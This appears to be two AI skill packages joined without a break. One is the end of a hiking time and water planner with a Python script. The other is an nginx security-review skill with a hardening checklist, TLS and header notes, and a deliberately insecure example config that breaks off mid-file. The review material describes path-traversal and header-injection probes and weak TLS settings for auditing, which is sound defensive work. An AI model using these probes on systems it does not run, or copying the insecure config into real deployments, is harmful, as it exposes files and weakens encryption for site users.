- Small first-aid kit, blister plasters, emergency blanket, whistle.
- Know the local emergency number (112 in Europe, 911 in North America) and the mountain rescue procedure.
- Rule: the group stays together and turns back at the turnaround time, at the first lightning, or when anyone is not feeling well.
FILE:templates/hike-plan.md
# Hike plan: <route name>, <date>
**Group:** <names / number of people> **Leader:** <name, phone>
**Route:** <22.2 km loop, +1170 m / -1150 m, map link>
**Start:** <08:00 at Eagle Ridge car park> **Expected finish:** <16:19> **Sunset:** <17:20>
**Turnaround time:** <13:00 at the summit, whatever happens>
**Latest call-out time for the home contact:** <19:00>
## Timetable
| Leg | km | Up / down m | Terrain | Planned start | Planned end | Water refill |
|---|---|---|---|---|---|---|
| <Car park to Pine Saddle> | <4.2> | <+380 / -20> | <path> | <08:00> | <09:53> | <no> |
Settings used: <pace 5 km/h, fitness 1.1, breaks 10 min/h, 24 C>. Check the first leg and rescale.
## Water and food
- Carry from the start: <4.4 L per person> (no refill until <Spring Hut>)
- Refill at: <Spring Hut tap (open until end of October?), treat stream water>
- Snacks: <2100 kcal per person> + one spare
- Electrolytes: <yes / no>
## Bail-out options
- <After Pine Saddle: forest road back to the car park, 3.5 km, 1h>
- <Skip the ridge traverse: descend the north path from the summit>
## Kit
- <headlamp, layers, waterproof, map offline + power bank, first aid, whistle, filter or tablets>
## Weather and conditions
- Forecast: <checked on ... : dry, 24 C, wind 20 km/h on ridge>
- Notes: <scramble section is wet after rain; avoid if wet>
## Emergency
- Emergency number: <112> Mountain rescue: <...>
- Home contact: <name, phone>: if no message by <19:00>, call <number> with this plan.
FILE:examples/eagle-ridge-loop.csv
leg,distance_km,ascent_m,descent_m,terrain,water_at_end
Car park to Pine Saddle,4.2,380,20,path,no
Pine Saddle to Eagle Ridge summit,3.1,520,40,rough,no
Eagle Ridge traverse,1.6,120,150,scramble,no
Ridge down to Spring Hut,3.8,30,560,path,yes
Spring Hut to Blue Lake,4.5,80,210,path,no
Blue Lake back to car park,5.0,40,170,road,yes
FILE:scripts/hike_plan.py
#!/usr/bin/env python3
"""Hiking route time and water planner (Python 3 standard library only).
Reads a CSV of route legs and estimates moving time per leg with Naismith's rule
(5 km/h plus 1 hour per 600 m of ascent) and Langmuir's descent corrections,
adjusted for terrain, fitness and pack weight, then adds breaks, gives clock
times for every leg, checks the finish against sunset, and works out how much
water to carry between refill points and how much food to pack.
CSV columns (header required; ; or , separated):
leg, distance_km, ascent_m, descent_m, terrain, water_at_end
terrain: road | path | rough | scramble | snow | bushwhack water_at_end: yes/no
Usage:
python3 hike_plan.py route.csv --start 08:30 --sunset 17:10 --temp 24
python3 hike_plan.py route.csv --start 07:00 --fitness 1.2 --pack-kg 14 --json
python3 hike_plan.py --self-test
Exit codes: 0 = plan fine, 1 = HIGH findings (finish after sunset), 2 = bad input.
"""
import argparse, csv, io, json, math, sys
TERRAIN = {"road": 0.9, "path": 1.0, "trail": 1.0, "rough": 1.25, "scramble": 1.6, "snow": 1.5, "bushwhack": 1.6}
REQUIRED = ["leg", "distance_km", "ascent_m", "descent_m", "terrain", "water_at_end"]
SEV = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
class InputError(Exception):
pass
def num(v, field, row):
try:
x = float(str(v).strip().replace(",", "."))
except ValueError:
raise InputError(f"row {row}: {field} '{v}' is not a number")
if x < 0:
raise InputError(f"row {row}: {field} cannot be negative")
return x
def hm(s):
try:
h, m = s.strip().split(":")
h, m = int(h), int(m)
assert 0 <= h < 24 and 0 <= m < 60
return h * 60 + m
except Exception:
raise InputError(f"time '{s}' must be HH:MM")
def clock(mins):
mins = int(round(mins))
day, rem = divmod(mins, 1440)
return f"{rem // 60:02d}:{rem % 60:02d}" + (f" (+{day}d)" if day else "")
def dur(mins):
mins = int(round(mins))
return f"{mins // 60}h{mins % 60:02d}"
def read_legs(text):
sample = text[:2000]
delim = ";" if sample.count(";") > sample.count(",") else ","
rd = csv.DictReader(io.StringIO(text), delimiter=delim)
if not rd.fieldnames:
raise InputError("empty CSV")
fields = [f.strip().lower() for f in rd.fieldnames]
missing = [c for c in REQUIRED if c not in fields]
if missing:
raise InputError("missing columns: " + ", ".join(missing))
legs = []
for i, raw in enumerate(rd, start=2):
r = {k.strip().lower(): (v or "").strip() for k, v in raw.items() if k}
if not any(r.values()):
continue
t = r["terrain"].lower() or "path"
if t not in TERRAIN:
raise InputError(f"row {i}: terrain '{t}' must be one of {', '.join(TERRAIN)}")
w = r["water_at_end"].lower()
if w not in ("yes", "no", "y", "n", "1", "0", "true", "false", ""):
raise InputError(f"row {i}: water_at_end must be yes or no")
legs.append({"leg": r["leg"] or f"Leg {len(legs) + 1}",
"distance_km": num(r["distance_km"], "distance_km", i),
"ascent_m": num(r["ascent_m"], "ascent_m", i),
"descent_m": num(r["descent_m"], "descent_m", i),
"terrain": t, "water_at_end": w in ("yes", "y", "1", "true")})
if not legs:
raise InputError("no legs in CSV")
return legs
def water_rate(temp_c):
"""Litres per hour of total time, before the ascent extra."""
if temp_c < 15:
return 0.4
if temp_c < 25:
return 0.5
if temp_c < 30:
return 0.75
return 1.0
def leg_minutes(leg, pace_kmh):
d, up, down = leg["distance_km"], leg["ascent_m"], leg["descent_m"]
flat = d / pace_kmh * 60
climb = up / 10.0 # Naismith: 60 min per 600 m
descent_adj = 0.0
steep = False
if down > 0 and d > 0:
horiz = d * 1000 * (down / (up + down)) # share of the leg spent descending
angle = math.degrees(math.atan(down / horiz)) if horiz > 0 else 90
if 5 <= angle <= 12:
descent_adj = -down / 300 * 10 # Langmuir: gentle descent is faster
elif angle > 12:
descent_adj = down / 300 * 10 # steep descent is slower
steep = angle > 14
if up > 0 and d > 0:
horiz_up = d * 1000 * (up / (up + down))
steep = steep or math.degrees(math.atan(up / horiz_up)) > 14 # about 25 %
return max(flat + climb + descent_adj, flat * 0.5), steep
def plan(legs, start, sunset=None, pace=5.0, fitness=1.0, pack_kg=8.0, break_min=10.0, temp=18.0, margin=60):
if pace <= 0 or fitness <= 0:
raise InputError("pace and fitness must be positive")
pack_factor = 1.0 + max(0.0, pack_kg - 10) * 0.02 # +2 % per kg above 10 kg
rate = water_rate(temp)
t = start
rows, findings = [], []
stretch, stretches, stretch_legs = 0.0, [], []
for leg in legs:
base, steep = leg_minutes(leg, pace)
moving = base * TERRAIN[leg["terrain"]] * fitness * pack_factor
total = moving * (1 + break_min / 60)
water = total / 60 * rate + leg["ascent_m"] / 100 * 0.1
t_start, t = t, t + total
rows.append({**leg, "moving_min": round(moving), "with_breaks_min": round(total),
"start": clock(t_start), "end": clock(t), "end_min": t, "water_l": round(water, 2), "steep": steep})
stretch += water
stretch_legs.append(leg["leg"])
if leg["water_at_end"]:
stretches.append((stretch, stretch_legs)); stretch, stretch_legs = 0.0, []
if steep:
findings.append(("LOW", "STEEP_LEG", f"{leg['leg']}: average gradient over 25 %; expect slower going than the formula and take care on the descent"))
if stretch_legs:
stretches.append((stretch, stretch_legs))
moving_total = sum(r["moving_min"] for r in rows)
total = t - start
carry = max(s for s, _ in stretches) + 0.5
for s, names in stretches:
if s + 0.5 > 3.0:
findings.append(("MEDIUM", "LONG_DRY_STRETCH", f"{' -> '.join(names)}: {s + 0.5:.1f} L to carry with no refill; add a refill, cache water or start earlier in the cool"))
summary = {
"distance_km": round(sum(l["distance_km"] for l in legs), 1),
"ascent_m": round(sum(l["ascent_m"] for l in legs)),
"descent_m": round(sum(l["descent_m"] for l in legs)),
"moving_min": round(moving_total), "total_min": round(total),
"start": clock(start), "finish": clock(t),
"water_total_l": round(sum(r["water_l"] for r in rows), 1),
"carry_max_l": round(carry, 1),
"food_kcal": int(round(total / 60 * 250, -1)),
"water_rate_l_per_h": rate, "pack_factor": round(pack_factor, 2),
}
if sunset is not None:
left = sunset - t
summary["sunset"] = clock(sunset)
summary["minutes_before_sunset"] = round(left)
summary["latest_start"] = clock(sunset - margin - total)
if left < 0:
findings.append(("HIGH", "AFTER_DARK", f"finish {clock(t)} is {dur(-left)} after sunset {clock(sunset)}; start by {summary['latest_start']}, shorten the route or plan a bail-out"))
elif left < margin:
findings.append(("MEDIUM", "SMALL_MARGIN", f"finish {clock(t)} leaves only {round(left)} min before sunset (target {margin}); start by {summary['latest_start']} and carry a headlamp"))
for r in rows:
if r["terrain"] in ("scramble", "snow") and r["end_min"] > sunset - 120:
findings.append(("MEDIUM", "HARD_TERRAIN_LATE", f"{r['leg']} ({r['terrain']}) ends at {r['end']}, within 2 h of sunset; tired legs and fading light on hard ground"))
if moving_total > 8 * 60:
findings.append(("LOW", "LONG_DAY", f"{dur(moving_total)} moving time; check that everyone has done a day this long recently"))
if temp >= 28 and any(l["ascent_m"] >= 300 for l in legs):
findings.append(("MEDIUM", "HEAT", f"{temp:g} C with big climbs: start at first light, rest in shade, electrolytes with the water"))
findings.sort(key=lambda f: SEV[f[0]])
for r in rows:
r.pop("end_min")
return {"legs": rows, "summary": summary, "stretches": [{"legs": n, "litres": round(s + 0.5, 1)} for s, n in stretches],
"findings": [{"severity": a, "code": b, "message": c} for a, b, c in findings]}
def to_markdown(p, args):
s = p["summary"]
out = ["# Hike plan", "",
f"Settings: pace {args.pace:g} km/h, fitness x{args.fitness:g}, pack {args.pack_kg:g} kg (x{s['pack_factor']}), breaks {args.break_min:g} min per hour, {args.temp:g} C",
"",
f"Route: {s['distance_km']} km, +{s['ascent_m']} m / -{s['descent_m']} m; moving {dur(s['moving_min'])}, with breaks {dur(s['total_min'])}",
f"Start {s['start']}, finish about {s['finish']}" + (f"; sunset {s['sunset']}, " + (f"{s['minutes_before_sunset']} min to spare" if s['minutes_before_sunset'] >= 0 else f"{dur(-s['minutes_before_sunset'])} AFTER sunset") + f"; latest sensible start {s['latest_start']}" if "sunset" in s else ""),
"", "| Leg | km | Up m | Down m | Terrain | Moving | With breaks | Start | End | Water L | Refill at end |",
"|---|---|---|---|---|---|---|---|---|---|---|"]
for r in p["legs"]:
out.append(f"| {r['leg']} | {r['distance_km']:g} | {r['ascent_m']:g} | {r['descent_m']:g} | {r['terrain']} | {dur(r['moving_min'])} | "
f"{dur(r['with_breaks_min'])} | {r['start']} | {r['end']} | {r['water_l']:.1f} | {'yes' if r['water_at_end'] else 'no'} |")
out += ["", "## Water and food",
f"- Drinking rate {s['water_rate_l_per_h']} L/h at this temperature plus 0.1 L per 100 m of climbing; total about {s['water_total_l']} L",
f"- Carry at most {s['carry_max_l']} L (largest stretch between refills, incl. 0.5 L reserve); treat stream water"]
for st in p["stretches"]:
out.append(f" - {' -> '.join(st['legs'])}: {st['litres']} L")
out.append(f"- Food: about {s['food_kcal']} kcal of snacks (about 250 kcal per hour on the move), plus a spare")
out += ["", "## Findings"]
out += [f"- {f['severity']} {f['code']}: {f['message']}" for f in p["findings"]] or ["- none"]
out += ["", "Estimates only: check them against your group's real pace on the first leg and adjust."]
return "\n".join(out)
def self_test():
res = []
def check(name, cond):
res.append(cond)
print(("PASS " if cond else "FAIL ") + name)
def L(d, up, down, terrain="path", water="no", name="x"):
return {"leg": name, "distance_km": d, "ascent_m": up, "descent_m": down, "terrain": terrain, "water_at_end": water == "yes"}
check("flat 10 km at 5 km/h = 120 min", round(leg_minutes(L(10, 0, 0), 5)[0]) == 120)
check("Naismith 600 m climb adds 60 min", round(leg_minutes(L(5, 600, 0), 5)[0]) == 120)
g = leg_minutes(L(6, 0, 900), 5)[0] # angle ~8.5 deg: gentle
check("gentle descent is faster (Langmuir)", round(g) == 72 - 30)
st = leg_minutes(L(2, 0, 600), 5) # ~16.7 deg: steep
check("steep descent is slower and flagged", round(st[0]) == 24 + 20 and st[1])
check("steep ascent flagged", leg_minutes(L(1, 400, 0), 5)[1])
check("descent never below half the flat time", leg_minutes(L(10, 0, 1500), 5)[0] >= 60)
p = plan([L(10, 0, 0)], hm("08:00"), break_min=0)
check("finish time no breaks", p["summary"]["finish"] == "10:00")
p = plan([L(10, 0, 0)], hm("08:00"), break_min=10)
check("10 min break per hour", p["summary"]["total_min"] == 140)
check("terrain multiplier", plan([L(10, 0, 0, "scramble")], 0, break_min=0)["summary"]["moving_min"] == 192)
check("fitness multiplier", plan([L(10, 0, 0)], 0, fitness=1.2, break_min=0)["summary"]["moving_min"] == 144)
check("pack over 10 kg slows", plan([L(10, 0, 0)], 0, pack_kg=15, break_min=0)["summary"]["moving_min"] == 132)
p = plan([L(10, 0, 0)], hm("15:00"), sunset=hm("16:30"), break_min=0)
check("AFTER_DARK HIGH", p["findings"][0]["code"] == "AFTER_DARK" and p["findings"][0]["severity"] == "HIGH")
check("latest start", p["summary"]["latest_start"] == "13:30")
p = plan([L(10, 0, 0)], hm("14:00"), sunset=hm("16:30"), break_min=0)
check("SMALL_MARGIN", [f["code"] for f in p["findings"]] == ["SMALL_MARGIN"])
check("no finding with time to spare", plan([L(10, 0, 0)], hm("08:00"), sunset=hm("18:00"))["findings"] == [])
check("HARD_TERRAIN_LATE", any(f["code"] == "HARD_TERRAIN_LATE" for f in
plan([L(3, 0, 0, "scramble")], hm("13:00"), sunset=hm("15:00"))["findings"]))
check("water rate by temperature", [water_rate(t) for t in (10, 20, 27, 33)] == [0.4, 0.5, 0.75, 1.0])
p = plan([L(10, 0, 0, water="yes"), L(10, 0, 0)], 0, temp=20, break_min=0)
check("water per leg", p["legs"][0]["water_l"] == 1.0)
check("carry = largest stretch + reserve", p["summary"]["carry_max_l"] == 1.5)
p = plan([L(10, 500, 0), L(10, 0, 500)], 0, temp=31, break_min=0)
check("LONG_DRY_STRETCH and HEAT", {"LONG_DRY_STRETCH", "HEAT"} <= {f["code"] for f in p["findings"]})
check("LONG_DAY", any(f["code"] == "LONG_DAY" for f in plan([L(45, 0, 0)], 0)["findings"]))
check("food kcal", plan([L(10, 0, 0)], 0, break_min=0)["summary"]["food_kcal"] == 500)
check("clock wraps past midnight", clock(1500) == "01:00 (+1d)")
legs = read_legs("leg;distance_km;ascent_m;descent_m;terrain;water_at_end\nA;3,5;200;0;Path;yes\n")
check("semicolon CSV + decimal comma", legs[0]["distance_km"] == 3.5 and legs[0]["water_at_end"])
for bad, why in [("leg,distance_km\nA,1\n", "missing columns"),
("leg,distance_km,ascent_m,descent_m,terrain,water_at_end\nA,x,0,0,path,no\n", "non-number"),
("leg,distance_km,ascent_m,descent_m,terrain,water_at_end\nA,1,-5,0,path,no\n", "negative"),
("leg,distance_km,ascent_m,descent_m,terrain,water_at_end\nA,1,0,0,lava,no\n", "unknown terrain")]:
try:
read_legs(bad); check("rejects " + why, False)
except InputError:
check("rejects " + why, True)
try:
hm("25:00"); check("rejects bad time", False)
except InputError:
check("rejects bad time", True)
passed = sum(res)
print(f"{passed}/{len(res)} passed")
return 0 if passed == len(res) else 1
def main():
ap = argparse.ArgumentParser(description="Hiking route time and water planner")
ap.add_argument("csv", nargs="?", help="legs CSV")
ap.add_argument("--start", help="start time HH:MM")
ap.add_argument("--sunset", help="sunset time HH:MM")
ap.add_argument("--pace", type=float, default=5.0, help="flat walking speed km/h (default 5)")
ap.add_argument("--fitness", type=float, default=1.0, help="time multiplier: 0.85 fast, 1.0 average, 1.2 relaxed, 1.4 with young kids")
ap.add_argument("--pack-kg", type=float, default=8.0, help="pack weight; +2%% time per kg above 10")
ap.add_argument("--break-min", type=float, default=10.0, help="break minutes per hour of walking (default 10)")
ap.add_argument("--temp", type=float, default=18.0, help="expected daytime temperature C")
ap.add_argument("--margin", type=int, default=60, help="minutes of daylight to keep in hand (default 60)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.csv or not a.start:
ap.error("give a CSV and --start, or --self-test")
try:
with open(a.csv, encoding="utf-8-sig") as fh:
legs = read_legs(fh.read())
p = plan(legs, hm(a.start), hm(a.sunset) if a.sunset else None, a.pace, a.fitness, a.pack_kg, a.break_min, a.temp, a.margin)
except (OSError, InputError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(p, indent=2) if a.json else to_markdown(p, a))
return 1 if any(f["severity"] == "HIGH" for f in p["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Reviews nginx.conf and site configs for security problems such as TLS 1.0/1.1, weak ciphers, missing HSTS and security headers, the add_header inheritance trap, alias off-by-slash path traversal, autoindex, unlimited body size, $uri in redirects, HTTP without an HTTPS redirect, open admin paths and logins without rate limits. Gives a fixed config. Includes a stdlib Python checker with --self-test.
---
name: nginx-config-security-reviewer
description: Reviews nginx.conf and site configs for security problems such as TLS 1.0/1.1, weak ciphers, missing HSTS and security headers, the add_header inheritance trap, alias off-by-slash path traversal, autoindex, unlimited body size, $uri in redirects, HTTP without an HTTPS redirect, open admin paths and logins without rate limits. Gives a fixed config. Includes a stdlib Python checker with --self-test.
---
# Nginx Config Security Reviewer
You review nginx configurations the way a careful ops engineer would before a security audit: find the settings that expose data or weaken TLS, explain each one in plain words, and hand back a corrected config that still serves the same routes. You never guess at files you have not seen, and you never tell the user to reload without `nginx -t`.
## Files in this skill
- `scripts/nginx_review.py` - parses nginx config files into blocks and prints findings with severity, line and fix (Python 3 standard library only)
- `references/hardening-checklist.md` - every check the script runs, why it matters and the fix, plus items to check by hand
- `references/tls-and-headers.md` - TLS protocol and cipher settings, HSTS rollout, security headers and how add_header inheritance works
- `templates/review-report.md` - the report you hand back: summary, findings table, config diff, test commands
- `examples/shop-site.conf` - a small shop config from 2019 with 18 findings (3 HIGH)
- `examples/shop-site-fixed.conf` - the same site after the fixes (no findings apart from the include note)
## Workflow
### 1. Collect the full config
Ask for the output of `sudo nginx -T` (it prints the main file and every included file), or for nginx.conf plus the relevant sites-enabled files. Ask what the site does (static, reverse proxy, PHP), which paths must stay public, the nginx version (`nginx -v`) and whether a CDN or load balancer terminates TLS in front of it. Tell the user to remove private keys or secrets before pasting; certificate paths are fine.
### 2. Run the checker
```
python3 scripts/nginx_review.py examples/shop-site.conf
python3 scripts/nginx_review.py /etc/nginx/nginx.conf /etc/nginx/sites-enabled/shop --json
python3 scripts/nginx_review.py --self-test
```
Exit code 1 means HIGH findings, 2 means the file could not be read or parsed (the error names the line).
### 3. Confirm and add manual checks
Read each finding against the user's context: a CDN in front changes TLS findings, an internal-only admin route may already be firewalled, a `return 404` may already hide a path. Then go through the manual items in `references/hardening-checklist.md` (included files, upstream TLS verification, `if` blocks, PHP handlers, file permissions). Drop false positives and say why.
### 4. Deliver
Fill `templates/review-report.md`: HIGH items first, a minimal diff of the config, and the test steps. Explain the add_header inheritance rule whenever ADD_HEADER_INHERITANCE appears, because it surprises most people. Introduce HSTS with a short max-age first if the site has never used it.
## Example result
For `examples/shop-site.conf`: 3 HIGH (TLS 1.0/1.1 enabled, RC4 and 3DES ciphers, `location /images` with `alias .../images/` allowing `/images../` traversal), 6 MEDIUM (unlimited body size, port 80 serving content instead of redirecting, autoindex on /downloads/, /api/ dropping HSTS and nosniff because it sets its own add_header, unprotected /admin/, `$uri` in a redirect), 8 LOW (server_tokens, dotfiles, missing CSP/Referrer-Policy/X-Frame-Options, proxy headers, no rate limit on /api/auth/login) and 1 INFO. `examples/shop-site-fixed.conf` shows the fixes and passes `nginx -t`.
## Rules
- Quote the exact line and the exact replacement; keep changes minimal and route-preserving.
- Always end with `sudo nginx -t && sudo systemctl reload nginx` and a curl check; never suggest a restart that drops connections when a reload works.
- Do not invent directives: check names against the nginx docs for the user's version (for example `http2 on;` needs 1.25.1+, older versions use `listen 443 ssl http2;`).
- Never ask for or repeat private keys, passwords or htpasswd hashes.
- Treat security headers like CSP as a rollout: suggest `Content-Security-Policy-Report-Only` first for complex apps.
FILE:references/hardening-checklist.md
# Nginx Hardening Checklist
Every code the script prints, why it matters and the fix. Severity is the default; raise or lower it with context.
## HIGH
### OLD_TLS_PROTOCOL
`ssl_protocols` lists SSLv3, TLSv1 or TLSv1.1. These are deprecated (RFC 8996), fail PCI DSS and allow downgrade attacks. Fix: `ssl_protocols TLSv1.2 TLSv1.3;` (the default since nginx 1.23.4, so deleting the line also works on new versions). Only very old clients (Android 4.3, IE on Windows 7 without updates) lose access.
### WEAK_CIPHERS
`ssl_ciphers` allows RC4, DES/3DES (SWEET32), MD5, NULL, EXPORT or anonymous (aNULL/ADH) suites. Entries starting with `!` or `-` are exclusions and are fine. Fix: use the Mozilla "intermediate" list from ssl-config.mozilla.org or remove `ssl_ciphers` to use the OpenSSL default, and set `ssl_prefer_server_ciphers off;` when only modern AEAD suites remain.
### NO_CERTIFICATE
A server listens with `ssl` but no `ssl_certificate` is set in it or in http. nginx refuses to start or fails the handshake. Add `ssl_certificate` (full chain) and `ssl_certificate_key`.
### ALIAS_TRAVERSAL (off-by-slash)
`location /images { alias /var/www/media/images/; }`: a request for `/images../secret.txt` maps to `/var/www/media/images/../secret.txt`, so files one level above the alias are readable (a well-known finding in many audits). Fix: both the location and the alias end with a slash, `location /images/ { alias /var/www/media/images/; }`, or use `root` when the path matches the folder name.
## MEDIUM
### HTTP_NO_REDIRECT
A port-80 server with the same server_name as an HTTPS server serves pages instead of redirecting. Users and cookies stay on plain HTTP. Fix:
```
server {
listen 80;
server_name shop.example.com;
location /.well-known/acme-challenge/ { root /var/www/certbot; }
location / { return 301 https://$host$request_uri; }
}
```
### NO_HSTS
No `Strict-Transport-Security` header on an HTTPS server, so the first request of a session can be downgraded. See `tls-and-headers.md` for the rollout.
### ADD_HEADER_INHERITANCE
nginx inherits `add_header` from the parent level only when the current level has no `add_header` at all. One `add_header Cache-Control no-store;` in `location /api/` drops every security header from the server block for that location. Fix: repeat the headers in that location, or keep them in a snippet (`include snippets/security-headers.conf;`) and include it in every block that has its own add_header. On nginx 1.29.3+ `add_header_inherit merge;` in http makes child blocks add to the parent headers instead of replacing them. `proxy_set_header`, `fastcgi_param` and `proxy_hide_header` follow the same rule.
### AUTOINDEX_ON
Directory listing shows every file name, including backups and exports nobody linked. Turn it off or protect the location.
### ADMIN_OPEN
Paths such as /admin, /phpmyadmin, /actuator, /server-status, /nginx_status or /metrics without allow/deny, auth_basic or auth_request. Fix: `allow 10.20.0.0/16; deny all;` (office or VPN range), or `auth_request` to an SSO service. Basic auth only over HTTPS.
### UNLIMITED_BODY
`client_max_body_size 0` disables the request size limit, making disk and memory exhaustion easy. Keep the default 1m or a real limit in http, and raise it only in the upload location.
### URI_IN_REDIRECT
`$uri` is normalized and URL-decoded, so `%0d%0a` becomes a real line break and an attacker can inject headers (`Set-Cookie`) into the redirect response. Use `$request_uri` (the raw, still-encoded request line) in `return`, `rewrite` targets and `add_header`.
## LOW
### SERVER_TOKENS
The version appears in the `Server` header and on error pages, which helps attackers match known CVEs. `server_tokens off;` in http.
### MISSING_SECURITY_HEADERS
On HTTPS servers: `X-Content-Type-Options nosniff`, `X-Frame-Options` (or CSP `frame-ancestors`), `Content-Security-Policy`, `Referrer-Policy`. Add them with `always` so they are also sent on 4xx/5xx responses.
### SHORT_HSTS
HSTS max-age under 180 days. Fine during rollout; raise it to one year afterwards.
### DOTFILES_EXPOSED
The server serves files but has no rule for hidden files, so `/.git/config`, `/.env` or `/.htpasswd` may be downloadable if they exist under the web root. Fix: `location ~ /\.(?!well-known) { deny all; }` (keeps ACME challenges working).
### NO_RATE_LIMIT
A login, auth or token path without `limit_req`. Add a zone in http and apply it to the location; return 429 with `limit_req_status 429;`.
### PROXY_HEADERS
A `proxy_pass` location that does not send Host, X-Forwarded-For and X-Forwarded-Proto, so the app logs the proxy's IP, builds wrong redirect URLs and may think HTTPS requests are HTTP. Remember the inheritance rule: one `proxy_set_header` in the location replaces all inherited ones.
## INFO
### INCLUDE_NOT_FOLLOWED
The script reads only the files you pass. Ask for `nginx -T` or the included files.
## Check by hand (not automated)
- `proxy_pass https://...` to an upstream on the internet without `proxy_ssl_verify on;` and `proxy_ssl_trusted_certificate`.
- PHP: `location ~ \.php$` must use `try_files $uri =404;` (or `fastcgi_split_path_info` with a check) so uploaded images cannot run as PHP; uploads directories should never pass to PHP.
- `if` inside location with anything other than `return` or `rewrite ... last` ("if is evil").
- `default_server` blocks: an unknown Host should get `return 444;` with a self-signed or `ssl_reject_handshake on;` (1.19.4+) instead of the first site.
- Permissions: nginx workers should not be able to write the web root; private keys `chmod 600`, owned by root.
- Large headers / slow clients: `client_body_timeout`, `client_header_timeout`, `large_client_header_buffers` for public APIs under attack.
- Logging: access logs must not record tokens in query strings; use a custom log_format if needed.
FILE:references/tls-and-headers.md
# TLS and Security Headers
## TLS settings that pass most audits (nginx 1.25+ with OpenSSL 1.1.1 or 3.x)
```
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers off;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
```
This is the Mozilla "intermediate" profile. TLS 1.3 suites are not set with ssl_ciphers (OpenSSL handles them). If DHE suites stay, provide `ssl_dhparam` with at least 2048 bits or drop the DHE entries.
OCSP stapling (`ssl_stapling on; ssl_stapling_verify on;`) is optional; Let's Encrypt ended OCSP support in 2025, so do not add it for LE certificates.
HTTP/2: `http2 on;` inside the server on nginx 1.25.1+; older versions use `listen 443 ssl http2;`.
## HSTS rollout
1. Make sure every subdomain works over HTTPS.
2. Start short: `add_header Strict-Transport-Security "max-age=300" always;`
3. After a week without problems: `max-age=31536000; includeSubDomains`.
4. Only add `preload` and submit to hstspreload.org when you are sure; removal takes months.
HSTS on plain HTTP responses is ignored by browsers, so set it on the 443 server.
## Security headers
| Header | Typical value | Notes |
|---|---|---|
| X-Content-Type-Options | `nosniff` | Stops MIME sniffing of uploads |
| X-Frame-Options | `DENY` or `SAMEORIGIN` | Clickjacking; CSP `frame-ancestors` is the modern equivalent |
| Content-Security-Policy | `default-src 'self'` and more | App-specific; roll out with `Content-Security-Policy-Report-Only` |
| Referrer-Policy | `strict-origin-when-cross-origin` | Keeps paths and query strings out of other sites' logs |
| Permissions-Policy | `camera=(), microphone=(), geolocation=()` | Optional |
Add `always` so headers are also sent on error responses.
## The add_header inheritance rule
```
server {
add_header X-Content-Type-Options nosniff always; # A
location / { } # gets A
location /api/ {
add_header Cache-Control no-store; # gets ONLY this one, A is gone
}
}
```
A block inherits add_header from its parent only if it defines none itself. Keep shared headers in a snippet and include it in every block that adds its own. nginx 1.29.3 (October 2025) added `add_header_inherit merge;`, which makes nested blocks add to the inherited headers; check `nginx -v` before suggesting it (Debian 13 ships 1.26).
## Testing
```
sudo nginx -t && sudo systemctl reload nginx
curl -sI https://shop.example.com/ | grep -iE 'strict|x-content|x-frame|content-security|referrer|server:'
curl -sI http://shop.example.com/page?x=1 # expect 301 to https://shop.example.com/page?x=1
curl -s -o /dev/null -w '%{http_code}\n' https://shop.example.com/.git/config # expect 403 or 404
curl -s -o /dev/null -w '%{http_code}\n' https://shop.example.com/images../ # expect 404 after the alias fix
openssl s_client -connect shop.example.com:443 -tls1_1 </dev/null # expect a handshake failure
```
For a full external check: SSL Labs server test or `testssl.sh shop.example.com`.
FILE:templates/review-report.md
# Nginx security review: <site or server name>
**Version:** <nginx 1.26.3, OpenSSL 3.x> **Role:** <static site / reverse proxy to Node on :3000 / PHP-FPM>
**Files reviewed:** <nginx -T output, 2 files> **TLS terminated by:** <nginx / CDN / load balancer>
**Summary:** <one sentence: the most serious problem and what the fix changes>
## Findings
| # | Severity | Code | File:line | Problem | Fix |
|---|---|---|---|---|---|
| 1 | HIGH | <ALIAS_TRAVERSAL> | <nginx.conf:51> | <location /images allows /images../> | <location /images/ { alias .../images/; }> |
| 2 | <MEDIUM> | <...> | <...> | <...> | <...> |
## Not changed (with reason)
- <ADMIN_OPEN on /admin/: already limited by the cloud firewall to the VPN; added deny all anyway? yes/no>
## Config changes
```diff
- ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
+ ssl_protocols TLSv1.2 TLSv1.3;
```
## Apply and test
1. Back up: `sudo cp -a /etc/nginx /etc/nginx.bak-<date>`
2. Edit, then `sudo nginx -t && sudo systemctl reload nginx`
3. Checks:
- `curl -sI https://<host>/` shows the security headers
- `curl -sI http://<host>/x?y=1` returns 301 to the same path on https
- <path traversal / dotfile / admin checks from the findings>
4. Roll back: restore the backup and reload.
## Follow-ups
- <HSTS: raise max-age to 31536000 after <date>>
- <CSP: move from Report-Only to enforcing after reviewing reports>
FILE:examples/shop-site.conf
# /etc/nginx/nginx.conf for shop.example.com (single-file setup)
# A small online shop: static storefront, product images, a Node.js API on :3000
# and a legacy admin panel. Written in 2019, certificates renewed by certbot.
user www-data;
worker_processes auto;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
sendfile on;
keepalive_timeout 65;
client_max_body_size 0;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers "HIGH:RC4-SHA:DES-CBC3-SHA:!aNULL";
ssl_prefer_server_ciphers on;
server {
listen 80;
server_name shop.example.com www.shop.example.com;
root /var/www/shop;
location /.well-known/acme-challenge/ {
root /var/www/certbot;
}
}
server {
listen 443 ssl;
http2 on;
server_name shop.example.com www.shop.example.com;
ssl_certificate /etc/letsencrypt/live/shop.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/shop.example.com/privkey.pem;
add_header Strict-Transport-Security "max-age=31536000" always;
add_header X-Content-Type-Options nosniff always;
root /var/www/shop;
index index.html;
location / {
try_files $uri $uri/ /index.html;
}
location /images {
alias /var/www/shop-media/images/;
}
location /downloads/ {
alias /var/www/shop-media/downloads/;
autoindex on;
